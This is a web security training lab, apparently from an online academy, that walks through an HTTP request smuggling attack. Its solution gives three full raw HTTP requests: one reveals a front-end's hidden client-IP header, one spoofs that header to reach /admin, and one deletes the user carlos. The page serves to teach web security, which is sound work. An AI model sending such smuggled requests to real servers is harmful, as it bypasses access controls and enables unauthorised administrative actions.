Lab: Exploiting HTTP request smuggling to reveal front-end request rewriting

PRACTITIONER

This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding.

There's an admin panel at /admin, but it's only accessible to people with the IP address 127.0.0.1. The front-end server adds an HTTP header to incoming requests containing their IP address. It's similar to the X-Forwarded-For header but has a different name.

To solve the lab, smuggle a request to the back-end server that reveals the header that is added by the front-end server. Then smuggle a request to the back-end server that includes the added header, accesses the admin panel, and deletes the user carlos.

Hint

Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.

Access the lab

Solution

Browse to /admin and observe that the admin panel can only be loaded from 127.0.0.1.

Use the site's search function and observe that it reflects the value of the search parameter.

Use Burp Repeater to issue the following request twice.

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
Transfer-Encoding: chunked

0

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Connection: close

search=test

The second response should contain "Search results for" followed by the start of a rewritten HTTP request.

Make a note of the name of the X-*-IP header in the rewritten request, and use it to access the admin panel:

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 143
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-abcdef-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close

x=1

Using the previous response as a reference, change the smuggled request URL to delete the user carlos.

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 166
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
X-abcdef-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close

x=1

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